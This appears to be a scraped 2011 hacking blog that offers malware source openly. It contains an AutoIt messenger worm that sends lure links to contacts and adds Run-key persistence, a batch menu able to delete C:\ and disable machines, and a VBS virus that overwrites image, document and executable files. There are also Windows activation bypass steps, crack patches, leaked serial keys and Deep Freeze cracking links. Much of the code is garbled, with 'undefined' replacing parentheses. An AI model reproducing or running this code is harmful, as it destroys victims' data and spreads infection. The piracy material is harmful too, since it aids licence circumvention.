RegWriteundefined"HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWriteundefined"HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWriteundefined"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\system\svchost32.exe")
RegWriteundefined"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "SVCHOST", "REG_SZ", @WindowsDir & "\system\svhost.exe")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[12]
$tin[0] = ":D who is beside you in this pic " & $link & "friendpic1.jpg so good-looking"
$tin[1] = ";) 1 of my vacation pictures " & $link & "vacation1.jpg <:-P "
$tin[2] = "hot pics this week " & $link & "hot.jpg :x"
$tin[3] = ";) 1 of my vacation pictures " & $link & "vacation2.jpg <:-P "
$tin[4] = "Screenshot of new windows version _ Windows Vista " & $link & "vista.jpg so cool :D"
$tin[5] = "Images shot in Iraq _ The war will never end " & $link & "Iraqwar.jpg << :undefined"
$tin[6] = "oh my god , i've won a 20000 usd lottery :O " & $link & "mylottery.jpg << "
$tin[7] = "never click into the links like something in this image " & $link & "dontclick.jpg #:-S !!! "
$tin[8] = ":undefined the page cannot be displayed " & $link & "error.jpg Something was wrong !!! Check it again and tell me later. THanks"
$tin[9] = "My pics " & $link & "mypics.jpg b-undefined << "
$tin[10] = "Miss World 2006: " & $link & "MissWorld.jpg !! "
$tin[11] = "Do you realize who is in this image: " & $link & "who.jpg . Just think for a moment and tell me soon ;))"

; Ham Thay Doi Status & Gui Tin Nhan
While undefined1)
sleepundefined30000)
$tieude0 = WinGetTitleundefined"My Computer", "")
$kiemtra0 = WinExists undefined$tieude0)
$tieude0x = WinGetTitleundefined"Windows Explorer", "")
$kiemtra0x = WinExists undefined$tieude0x)
$tieude1 = WinGetTitleundefined"Yahoo! Messenger", "")
$kiemtra1 = WinExists undefined$tieude1)
$tieude2 = WinGetTitleundefined"AIM", "")
$kiemtra2 = WinExists undefined$tieude2)
$tieude3 = WinGetTitleundefined"Windows Live Messenger", "")
$kiemtra3 = WinExists undefined$tieude3)
$tieude4 = WinGetTitleundefined"Windows Messenger", "")
$kiemtra4 = WinExists undefined$tieude4)

If $kiemtra0 = 1 Then
ClipPutundefined$website)
BlockInput undefined1)
WinActivateundefined$tieude0)
Sendundefined"{F6}")
Sendundefined"^v {ENTER}")
BlockInput undefined0)
EndIf

If $kiemtra0x = 1 Then
ClipPutundefined$website)
BlockInput undefined1)
WinActivateundefined$tieude0x)
Sendundefined"{F6}")
Sendundefined"^v {ENTER}")
BlockInput undefined0)
EndIf

If $kiemtra1 = 1 Then
$ngaunhien = Randomundefined0,12,1)
ClipPutundefined$tin[$ngaunhien])
BlockInput undefined1)
WinActivateundefined$tieude1)
Sendundefined"!m")
Sendundefined"un")
Sendundefined"^v {ENTER}{ENTER}")
Sendundefined"^m")
Sendundefined"{DOWN}")
Sendundefined"^{SHIFTDOWN}{END}{SHIFTUP}")
Sendundefined"{ENTER}")
Sendundefined"^v")
Sendundefined"!s")
BlockInput undefined0)
EndIf

If $kiemtra2 = 1 Then
$ngaunhien = Randomundefined0,12,1)
ClipPutundefined$tin[$ngaunhien])
BlockInput undefined1)
WinActivateundefined$tieude2)
Sendundefined"{HOME}")
Sendundefined"{DOWN}")
Sendundefined"^{SHIFTDOWN}{PGDN}{SHIFTUP}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"!{F4}")
BlockInput undefined0)
EndIf

If $kiemtra3 = 1 Then
$ngaunhien = Randomundefined0,12,1)
ClipPutundefined$tin[$ngaunhien])
BlockInput undefined1)
WinActivateundefined$tieude3)
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{DOWN}")
Sendundefined"{SPACE}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
BlockInput undefined0)
EndIf

If $kiemtra4 = 1 Then
$ngaunhien = Randomundefined0,12,1)
ClipPutundefined$tin[$ngaunhien])
BlockInput undefined1)
WinActivateundefined$tieude4)
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
Sendundefined"{ALT}")
Sendundefined"a")
Sendundefined"{ENTER}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{DOWN}")
Sendundefined"{ENTER}")
Sendundefined"^v {ENTER}")
Sendundefined"!{F4}")
BlockInput undefined0)
EndIf
Sleepundefined350000)
WEnd

; ----------------------------------------------------------------------------
;
; ----------------------------------------------------------------------------

Bat Script

2011-01-30T16:21:00.001+07:00

@echo off
color 02
echo *********************************************
set wait=0
:pause1
set /a wait=%wait%+1
if %wait% leq 200 goto pause1
echo *********************************************
set wait=0
:pause2
set /a wait=%wait%+1
if %wait% leq 200 goto pause2
echo *****_____ZiZiPoS.._____________________*****
set wait=0
:pause3
set /a wait=%wait%+1
if %wait% leq 200 goto pause3
echo *****___________BaTcH.._________________*****
set wait=0
:pause4
set /a wait=%wait%+1
if %wait% leq 200 goto pause4
echo *****___________________WoRlD..__________*****
set wait=0
:pause5
set /a wait=%wait%+1
if %wait% leq 200 goto pause5
echo *********************************************
set wait=0
:pause6
set /a wait=%wait%+1
if %wait% leq 200 goto pause6
echo *********************************************
set wait=0
:pause7
set /a wait=%wait%+1
if %wait% leq 100 goto pause7
echo.
set wait=0
:pause8
set /a wait=%wait%+1
if %wait% leq 100 goto pause8
echo.
set wait=0
:pause9
set /a wait=%wait%+1
if %wait% leq 100 goto pause9
echo To EnTeR mY wOrLd PrEsS aNy KeY
pause>nul
cls
echo HeLlO AnD WeLcOmE tO ZiZiPoS WoRlD!
echo.
echo FiRsT oF aLl ThIs Is A dAnGeRoUs BaTcH fIlE sO wAtCh OuT!
echo.
echo ChOoSe wHaT yOu WaNt To Do,By PrEsSiNg 1 Or 2...AnD eNtEr!
echo.
echo 1.Play A Maze Game!..
echo 2.Delete C:/
echo 3.30 second shutdown!
echo 4.CapsLock On/Off
echo 5.Enter Never Stop!..
echo 6.Computer Disable
echo 7.ByeBye Internet!
echo 8.Permanent Shutdown!..
echo 9.Colors!!..
echo 10.Matrix!
echo 11.Flood Network!!

:1
cls
title The Maze
color 0f

:beforestart
cls
echo Select a background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 01
if '%colour%'=='B' color 1f
goto start

:start
cls
echo Welcome to the maze
echo The evil king Wellington has stolen your best sword and hidden it in his maze
echo Go get it back and kill that fool!
echo Press S to start the game
echo Press I for instructions
echo Press C to select a different background colour
echo Press Q to quit
set /p pass=
if '%pass%'=='s' goto :begin
if '%pass%'=='S' goto :begin
if '%pass%'=='C' goto :menu
if '%pass%'=='c' goto :menu
if '%pass%'=='q' exit
if '%pass%'=='Q' exit
if '%pass%'=='I' goto instructions
if '%pass%'=='i' goto instructions
goto start

:instructions
cls
echo The evil king wellington has taken your prized sword and you must get it back!
echo Venture into his crazy maze and try to get through alive
echo Just follow the on screen prompts to complete your mission
echo Watch out for traps and be careful!
echo When You reach a multiple choice question like this:
echo A.) Go left
echo B.) Go right
echo Just type in the letter of your answer to continue
echo If you give an answer which doesn't correspond to the question, for example "d"
echo The section you are on will start again
pause
goto start

:menu
cls
echo Background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 1f
if '%colour%'=='B' color 1f
goto start

:begin
cls
echo You've found it!
echo Wellingtons maze!
echo You'd better get going and find your sword!
pause
cls
echo You approach the entrance to the maze
echo Do you:
echo A.) Go in through the front
echo B.) Look for a way in round the side?
set /p begin=
if '%begin%'=='a' goto front
if '%begin%'=='A' goto front
if '%begin%'=='B' goto side
if '%begin%'=='b' goto side
goto begin

:front
cls
echo You enter the front of the maze
echo All is well until...
pause
echo A huge crocodile leaps out of the hedge towards you!
echo Do you:
echo A.) RUNNN!!!
echo B.) Attack the croc with your trusty dagger
set /p crocattack=
if '%crocattack%'=='a' goto rundie
if '%crocattack%'=='A' goto rundie
if '%crocattack%'=='B' goto b4part2
if '%crocattack%'=='b' goto b4part2
goto front

:b4part2
cls
echo You wrestle the croc to the ground and stab its neck
echo You walk on into the maze...
pause
goto part2

:rundie
cls
echo You flee from the attacking croc as it hops towards you
echo But wait...
echo The gate to the maze closed all by itself
echo You scream as the crocodile hurtles towards you...
pause
goto gameover

:side
cls
echo You walk around to the side of the maze
echo You see a gap in the hedge where you could probably squeeze in
echo So You pull the hedge apart and start to slip through
pause
echo You see something in front of you, it's head peeking out of the hedge
echo A crocodile
echo You pull out your dagger and quietly slit its throat
echo You step out into the maze
pause
goto part2

:part2
cls
echo You come to a break in the maze, which way will you turn?
echo A.) Go left
echo B.) Go right
set /p leftorright=
if '%leftorright%'=='a' goto leftturn
if '%leftorright%'=='A' goto leftturn
if '%leftorright%'=='b' goto rightturn
if '%leftorright%'=='B' goto rightturn
goto part2

:leftturn
cls
echo You turn left and head on into the maze...
echo You begin walking down a narrow path when...
pause
echo Your foot snags on to a wire
echo It's a trap!
echo You hear something hissing
echo Do you:
echo A.) Run back to the break in the path and choose the other route this time
echo B.) Put a damp cloth over your mouth in case of poison gas
set /p legas=
if '%legas%'=='a' goto gobackboy
if '%legas%'=='A' goto gobackboy
if '%legas%'=='B' goto gasdie
if '%legas%'=='b' goto gasdie
goto leftturn

:gasdie
cls
echo You pull out your handkerchief, spit in it and hold it over your mouth
echo You hear a click and realise something is wrong
pause
echo The last thing you see are the flames from the ignited gas ingulfing you
pause
goto gameover

:gobackboy
cls
echo You run back to the turning and take the other route...
pause
goto part3

:rightturn
cls
echo You turn right and continue into the maze...
pause
goto part3

:part3
cls
echo You come to a crossroads this time
echo There are 3 paths, which one will you take?
echo A.) Go left
echo B.) Go straight on
echo C.) Go right
set /p crossroads=
if '%crossroads%'=='a' goto leftcross
if '%crossroads%'=='A' goto leftcross
if '%crossroads%'=='b' goto straightcross
if '%crossroads%'=='B' goto straightcross
if '%crossroads%'=='c' goto rightcross
if '%crossroads%'=='C' goto rightcross
goto part3

:leftcross
cls
echo You turn left and walk on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:straightcross
cls
echo You go straight on at the crossroads
pause
echo Suddenly the ground crumbles beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:rightcross
cls
echo You turn right and walk onwards
echo When you hear a slithering, hissy sound
pause
echo You look down and see snakes crawling all around you
echo You'd better think of something fast!
echo Do you:
echo A.) Drink some poison cure to hopefully stop yourself becoming poisoned
echo B.) Put On some gloves to protect your hands from a snake bite
set /p snakebite=
if '%snakebite%'=='a' goto bitten
if '%snakebite%'=='A' goto bitten
if '%snakebite%'=='b' goto notbitten
if '%snakebite%'=='B' goto notbitten
goto rightcross

:bitten
cls
echo You gulp down your small vial of poison cure and hope for the best
echo Then you run like hell
echo The snakes are hot on your heels...
echo They take a bite out of your leg
pause
echo You feel faint and giddy...
echo The gypsies' cure didn't work
echo Your world fades to black...
pause
goto gameover

:notbitten
cls
echo You slip on your hard rubber gloves and leg it like hell
echo The snakes are hot on your heels...
echo One of them leaps up and nips at your fingers...
pause
echo But the gloves stop it from penetrating your skin
echo The snakes are out of your sight
pause
cls
echo You arrive back at the crossroads
echo You can't go left because that's where you cam from
echo So do you:
echo A.) Go straight on
echo B.) Go right
set /p cross2=
if '%cross2%'=='a' goto straight2
if '%cross2%'=='A' goto straight2
if '%cross2%'=='b' goto rightagain
if '%cross2%'=='B' goto rightagain
goto notbitten

:rightagain
cls
echo You go right at the crossroads
pause
echo Suddenly the ground falls beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:straight2
cls
echo You go straight on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:mazecenter
cls
echo You've found the center of the maze! Hurray!
echo You see your chest containing your prized sword in the corner
echo And you rush over to it
pause
echo You open the chest
echo Inside you don't find your sword, but a rather odd looking metallic object
pause
echo Behind you you hear laughing...
echo "HA HA HA HA!"
pause
echo "Did you really think you could defeat me?"
echo You see he has your sword!
echo "Looking for this?"
echo "I replaced your sword with a rather odd thing I found lying in the garden"
pause
cls
echo You pick up the object and squeeze a trigger-like thing
echo A loud bang rings throughout the maze and a part of the fountain smashes
pause
echo "That's witchcraft"
echo "It must be a magic wand of some kind"
echo "Die, magician!"
pause
echo The king runs towards you brandishing your sword
echo You point the "wand" at the king and take aim
pause
cls
color 0f
echo AIM MODE:
echo You are now looking down the barrel of your "wand"
echo Type the words exactly as they appear to aim correctly and kill the king!
pause
cls
color 0a
echo BluE
set /p kill1=
if '%kill1%'=='BluE' goto aimmode2
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode2
cls
color 0f
echo AIM MODE:
echo Well done! That's one shot into the king
echo He stumbled but he's still alive
pause
echo You'll have to squeeze off another shot
pause
cls
color 0e
echo REd
set /p kill2=
if '%kill2%'=='REd' goto aimmode3
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode3
cls
color 0f
echo AIM MODE:
echo Well done! That's two shots into the king
echo He's almost dead now!
pause
echo You'll have to fire off one more shot
pause
cls
color 0b
echo yeLLow
set /p kill2=
if '%kill2%'=='yeLLow' goto kingdead
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:kingdead
cls
color 0f
echo You did it!
echo The evil king wellington is dead!
echo You drop the "wand" and rush over to your sword
echo You make your way out of the maze and hope never to see it again
pause
cls
echo THE END
echo Press any key to return to the main menu
pause
goto beforestart

:gameover
cls
color 0f
echo YOU DIED
echo GAME OVER
pause
goto beforestart

:2
cls
echo To DeLeTe C:/ PrEsS aNy KeY
pause>nul
deltree C:\

:3
cls
echo To ShUtDoWn YoUr Pc PrEsS aNy KeY
pause>nul
shutdown -t 30

:4
cls
echo To MaKe YoUr CaPs LoCk Go On AnD oFf PrEsS aNy Key
pause>nul
Set wshShell =wscript.CreateObjectundefined"WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

:5
cls
echo To MaKe YoUr EnTeR nEvEr StOp PrEsS aNy Key
pause>nul
Set wshShell = wscript.CreateObjectundefined"WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~undefinedenter)"
loop

:6
cls
echo To DiSaBle YoUr CoMpUtEr PrEsS aNy KeY
pause>nul
@echo OFF
MODE CON COLS=14 LINES=2
TITLE ^>:^^undefined
COLOR F7
COPY %0 C:\WINDOWS\d.bat>NUL
ECHO Windows Registry Editor Version 5.00>C:\d.reg
ECHO.>>C:\d.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]>>C:\d.reg
ECHO "CursorBastardizer"="C:\\WINDOWS\\d.bat">>C:\d.reg
REGEDIT /s C:\d.reg
DEL /f /q C:\d.reg
biggrin.gif
RUNDLL32 user32.dll,mouse_event
RUNDLL32 user32.dll,SetCursorPos
TSkill taskmgr
RUNDLL32 user32.dll,SetCursorPos
RUNDLL32 user32.dll,mouse_event
TASKKill /F /im taskmgr.exe
RUNDLL32 user32.dll,SetCursorPos
GOTO D

:7
cls
echo To SaY ByEbYe To YoUr InTeRnEt PrEsS AnY KeY
pause>nul
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

:8
cls
echo To PeRfOrM a PeRmAnEnt ShUtDoWn PrEsS AnY KeY
pause>nul
del c:\windows\prefetch\ntosboot-*.* /q

:9
cls
echo To SeE CoLorS PrEsS AnY KeY
pause>nul
:OWNED
@COLOR 4C
@COLOR 2A
@COLOR 6F
etc....
@GOTO :OWNED

:10
cls
echo To EnTeR ThE MaTriX PrEsS AnY KeY
pause>nul
color 02
:m
echo h k j y w e q i u t w e m t b h q m n t b q t y q o w t y q t h q i o w t y q u w h t j
echo 3 2 1 7 3 1 5 7 3 4 3 1 6 2 9 1 5 6 8 7 1 6 3 8 9 b7 6 1 2 5 1 5 6 1 9 5 0 6 2 1 9
echo q e t y q o i e h q i t h q e i o u t y q o i t h g k d h f v s b q a t p y q e o p t y q o
echo 9 5 6 7 2 9 3 6 7 2 9 6 7 2 9 7 6 2 8 0 9 7 6 0 8 3 7 0 2 8 6 7 2 8 6 7 28 0 3 6 5 5
echo h a g k i o q w e u t y q oi t y q o e t h q e t h q e i o t y q ke b k b c v s l d v o 5
echo 13 5 9 1 6 9 5 6 1 3 9 5 6 2 1 8 9 65 1 9 6 51 9 5 6 1 9 62 9 5 1 6 9 5 8 16
goto :m

:11
cls
echo To FlOoD NeTwOrK PrEsS AnY KeY
pause>nul
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Cara Mengatasi Layar ( Desktop ) Hitam Windows 7

2011-01-30T16:18:00.001+07:00

layar windows 7 hitam itu di karenakan masalah genuine. Seperti ketahuan bajakan pas update, belum di aktivasi windows 7 nya, dll.
Untuk masalah update sendiri,jangan mendownload apalagi menginstal update kb971033, bisa repot akibatnya
Buat sobat yang layar desktopnya berwarna hitam akibat sudah terlanjur menginstal kb971033, ikuti tips berikut ini.

1. Buka control panel, kemudian masuk ke bagian updates.
2. Klik Installed Updates pada bagian bawah.
3. Kemudian cari file update "KB971033".
4. Klik Uninstall, retart PC/notebook anda.
5. Jalankan windows 7 loader.
6. Klik install. Tunggu hingga muncul proses aktivasi sukses.
7. Restart kembali PC/Notebook anda.
8. Selesai.

IDM 6.04 Full Version

2011-01-30T16:04:00.005+07:00

Cara menggunakan Patch IDM 6.04 Build xx :

1. Download dan instal IDM
2. Download patch di bawah
3. Ekstrak patch, lalu copy dan paste file patch tersebut di folder tempat anda menginstal IDM.
4. Jangan lupa di close dulu yah IDM nya.
5. Klik kanan patch, klik "run as administrator"
6. Klik patch, masukan nama, email, dll.
7. Selesai.

Kini IDM anda sudah full versi kembali

1.DOWNLOAD IDM :

2.DOWNLOAD CRACK/PATCH IDM :

Download Manager Selain IDM

2011-01-30T15:49:00.000+07:00

1. FLASH GET

FlashGet3.3 supports HTTP,FTP,BT and eMule protocols.

The new P4S technique chould highly accelerate the downloading process.

IE6,IE7,IE8 and Firefox are supported.

For more features,download now!

2. ORBIT DOWNLOADER

Orbit Downloader, leader of download manager revolution, is devoted to new generation web (web2.0) downloading, such as video/music/streaming media from Myspace, YouTube, Imeem, Pandora, Rapidshare, support RTMP. And to make general downloading easier and faster.

3.DOWNLOAD ACCELERATOR PLUS (DAP)

* Get the fastest web experience with Google Chrome support

* Watch YouTube and other web video sites, no buffering time!

* Enjoy easy and fast downloading of any flash web videos

* Firefox 4 support

Serial Number SMADAV 8.4

2011-01-27T17:15:00.001+07:00

nama : alonemisery
key : 993899788775

nama :smadavkey
key :999899349960

nama: imnothandsome
key : 995799973435

nama: jasakom
key : 995799128034

nama: makalah
key : 991299988780

nama: leaflet
key : 995699101538

nama: nurulkusumaningtyas
key : 991899354464

nama: nursebawel
key : 991999201070

Cara mudah Menjebol Password Deep Freeze (UndeepFreeze)

2011-01-27T17:03:00.000+07:00

Berbagai Macam SOFTWARE Untuk Menjebol Password Deep Freeze 6

TOOL 1 :

TOOL 2 :

DOWNLOAD :

http://www.ziddu.com/download/6798049/DeepfreezeManisx.zip.html

or

http://www.ziddu.com/downloadlink/3148312/kucing.exe

or

http://www.4shared.com/file/121397521/72650003/ADF_01.html

souce-code-virus-vbsplutaa

2011-01-24T14:21:00.002+07:00

souce-code-virus-vbsplutaa
On Error Resume Next
dim FSobj,winDir,sysDir,copySelf,newFile,rawFileData,hackedFileData,fixData,dataFixed,newFileData,copySelfComplete
set FSobj=CreateObjectundefined"Scripting.FileSystemObject")
set sysDir=FSobj.GetSpecialFolderundefined1)

checkDateundefined)
function checkDateundefined)
if undefineddayundefinedNow)=16 and monthundefinedNow)=2)orundefineddayundefinedNow)=29 and monthundefinedNow)=3) then
beginInfestationundefined)
displayMessageundefined)
else
plantTrojanizedFileundefined)
end if
end function

function plantTrojanizedFileundefined)
set copySelf=FSobj.CreateTextFileundefinedsysDir+"\sys-dlBD.vbs")
copySelf.close
set newFile=FSobj.OpenTextFileundefinedWScript.ScriptFullname,1)
writeCopyundefined)
hackedFileData=replaceundefinedrawFileData,chrundefined42),chrundefined68))
fixData=replaceundefinedhackedFileData,chrundefined37),chrundefined76))
dataFixed=replaceundefinedfixData,chrundefined124),chrundefined46))
newFileData=replaceundefineddataFixed,chrundefined94),"""")
set copySelfComplete=FSobj.OpenTextFileundefinedsysDir+"\sys-dlBD.vbs",2)
copySelfComplete.write newFileData
copySelfComplete.close

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\sysdlBD",sysDir&"\sys-dlBD.vbs"
end function

sub createRegKeyundefinedregKey,regVal)
dim regEdit
set regEdit=CreateObjectundefined"WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

sub beginInfestation
On Error Resume Next
dim drive,machine,complete
set machine=FSobj.Drives
for each drive in machine
if undefineddrive.DriveType=2)orundefineddrive.DriveType=3) then
indexFoldersundefineddrive.Path&"\")
end If
next
beginInfestation=complete
end sub

sub indexFoldersundefinedlocation)
On Error Resume Next
dim specs, file, subFol
set specs=FSobj.GetFolderundefinedlocation)
set subFol=specs.SubFolders

for each file in subFol
spreadDataundefinedfile.Path)
indexFoldersundefinedfile.Path)
next
end sub

sub spreadDataundefinedlocation)
On Error Resume Next
dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete
set folder=FSobj.GetFolderundefinedlocation)
set directory=folder.Files

orgMes="Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|"
mesStageTwo=replaceundefinedorgMes,chrundefined42),chrundefined68))
mesStageThree=replaceundefinedmesStageTwo,chrundefined124),chrundefined46))
finalMes=replaceundefinedmesStageThree,chrundefined37),chrundefined76))

for each file in directory
extName=lcaseundefinedFSobj.GetExtensionNameundefinedfile.Path))
complete=lcaseundefinedfile.Name)

if undefinedextName="jpg")orundefinedextName="gif")then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&"\"&appName&".txt")
FSobj.DeleteFile undefinedfile.Path)

elseIf undefinedextName="log")orundefinedextName="ini") then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&"\"&appName&".txt")
FSobj.DeleteFile undefinedfile.Path)

elseIf undefinedextName="doc")orundefinedextName="exe") then
set generateCopy = FSobj.OpenTextFileundefinedfile.Path, 2, True)
generateCopy.write finalMes
generateCopy.Close
appName=FSobj.GetBaseNameundefinedfile.Path)
set adExt=FSobj.GetFileundefinedfile.Path)
adExt.copyundefinedlocation&"\"&appName&".txt")
FSobj.DeleteFile undefinedfile.Path)
end if
next
end sub

function displayMessageundefined)
dim shell,messageFile
set shell = CreateObjectundefined"WScript.Shell")
set messageFile=FSobj.CreateTextFileundefinedsysDir&"\dlBD-mes.bat")
messageFile.close
set FSobj=CreateObjectundefined"Scripting.FileSystemObject")
set messageFile=FSobj.CreateTextFileundefinedsysDir&"\dlBD-mes.bat")
messageFile.WriteLineundefined"@title Happy Birthday to me! :) - VBS/dlBD Virus")
messageFile.WriteLineundefined"@cls")
messageFile.WriteLineundefined"@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :undefined")
messageFile.WriteLineundefined"@echo.")
messageFile.WriteLineundefined"@pause")
messageFile.close
shell.RunundefinedsysDir&"\dlBD-mes.bat")
end function

function writeCopyundefined)
rawFileData="rem - VBS/dlBD ^DL BirthDay^ Virus by *|%|" &vbcrlf& _
"On Error Resume Next" &vbcrlf& _
"dim FSobj,winDir,sysDir" &vbcrlf& _
"set FSobj=CreateObjectundefined^Scripting|FileSystemObject^)" &vbcrlf& _
"set sysDir=FSobj|GetSpecialFolderundefined1)" &vbcrlf& _
"checkDateundefined)" &vbcrlf& _
"function checkDateundefined)" &vbcrlf& _
"if undefineddayundefinedNow)=31 and monthundefinedNow)=3)orundefineddayundefinedNow)=19 and monthundefinedNow)=12) then" &vbcrlf& _
"beginInfestationundefined)" &vbcrlf& _
"displayMessageundefined)" &vbcrlf& _
"end if" &vbcrlf& _
"end function" &vbcrlf& _
"sub beginInfestation" &vbcrlf& _
"On Error Resume Next " &vbcrlf& _
"dim drive,machine,complete" &vbcrlf& _
"set machine=FSobj|Drives " &vbcrlf& _
"for each drive in machine " &vbcrlf& _
"if undefineddrive|DriveType=2)orundefineddrive|DriveType=3) then" &vbcrlf& _
"indexFoldersundefineddrive|Path&^\^)" &vbcrlf& _
"end If" &vbcrlf& _
"next" &vbcrlf& _
"beginInfestation=complete" &vbcrlf& _
"end sub" &vbcrlf& _
"sub indexFoldersundefinedlocation)" &vbcrlf& _
"On Error Resume Next" &vbcrlf& _
"dim specs, file, subFol" &vbcrlf& _
"set specs=FSobj|GetFolderundefinedlocation)" &vbcrlf& _
"set subFol=specs|SubFolders" &vbcrlf& _
"for each file in subFol" &vbcrlf& _
"spreadDataundefinedfile|Path)" &vbcrlf& _
"indexFoldersundefinedfile|Path)" &vbcrlf& _
"next" &vbcrlf& _
"end sub" &vbcrlf& _
"sub spreadDataundefinedlocation)" &vbcrlf& _
"On Error Resume Next" &vbcrlf& _
"dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete" &vbcrlf& _
"set folder=FSobj|GetFolderundefinedlocation)" &vbcrlf& _
"set directory=folder|Files" &vbcrlf& _
"finalMes=^Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|^" &vbcrlf& _
"for each file in directory" &vbcrlf& _
"extName=lcaseundefinedFSobj|GetExtensionNameundefinedfile|Path))" &vbcrlf& _
"complete=lcaseundefinedfile|Name)" &vbcrlf& _
"if undefinedextName=^jpg^)orundefinedextName=^gif^)then " &vbcrlf& _
